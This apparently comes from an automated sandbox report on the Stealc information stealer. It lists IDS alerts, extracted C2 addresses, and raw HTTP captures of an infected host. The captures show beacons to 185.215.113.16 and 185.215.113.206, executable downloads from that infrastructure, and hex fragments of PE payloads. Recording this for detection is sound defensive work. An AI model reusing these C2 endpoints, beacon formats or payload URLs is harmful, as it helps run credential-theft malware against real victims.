Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49974 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50008 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50027 -> 185.215.113.206:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.16

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 12 Nov 2024 04:03:04 GMTContent-Type: application/octet-streamContent-Length: 1834496Last-Modified: Tue, 12 Nov 2024 03:02:29 GMTConnection: keep-aliveETag: "6732c545-1bfe00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 40 22 00 00 00 00 00 00 90 6a 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 6a 00 00 04 00 00 c6 04 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 a0 24 00 00 00 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 50 2b 00 00 c0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 6d 67 79 78 6f 6b 64 00 70 1a 00 00 10 50 00 00 62 1a 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 6a 6a 74 73 6a 78 77 00 10 00 00 00 80 6a 00 00 04 00 00 00 d8 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 6a 00 00 22 00 00 00 dc 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 12 Nov 2024 04:03:07 GMTContent-Type: application/octet-streamContent-Length: 919552Last-Modified: Tue, 12 Nov 2024 03:01:08 GMTConnection: keep-aliveETag: "6732c4f4-e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ec c4 32 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 d5 b4 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 28 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 9c 00 00 00 40 0d 00 00 9e 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 92 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 37 34 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002741001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 37 34 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002742001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBAFIIJKJEGIDGDGIIDHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 41 46 49 49 4a 4b 4a 45 47 49 44 47 44 47 49 49 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 43 36 46 31 45 45 46 30 42 46 34 32 36 38 31 32 30 39 37 32 34 0d 0a 2d 2d 2d 2d 2d 2d 46 42 41 46 49 49 4a 4b 4a 45 47 49 44 47 44 47 49 49 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 41 46 49 49 4a 4b 4a 45 47 49 44 47 44 47 49 49 44 48 2d 2d 0d 0a Data Ascii: ------FBAFIIJKJEGIDGDGIIDHContent-Disposition: form-data; name="hwid"FC6F1EEF0BF42681209724------FBAFIIJKJEGIDGDGIIDHContent-Disposition: form-data; name="build"mars------FBAFIIJKJEGIDGDGIIDH--
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEBFHCAKFBGDHIDHIDBHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 45 42 46 48 43 41 4b 46 42 47 44 48 49 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 43 36 46 31 45 45 46 30 42 46 34 32 36 38 31 32 30 39 37 32 34 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 46 48 43 41 4b 46 42 47 44 48 49 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 46 48 43 41 4b 46 42 47 44 48 49 44 48 49 44 42 2d 2d 0d 0a Data Ascii: ------GIEBFHCAKFBGDHIDHIDBContent-Disposition: form-data; name="hwid"FC6F1EEF0BF42681209724------GIEBFHCAKFBGDHIDHIDBContent-Disposition: form-data; name="build"mars------GIEBFHCAKFBGDHIDHIDB--
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
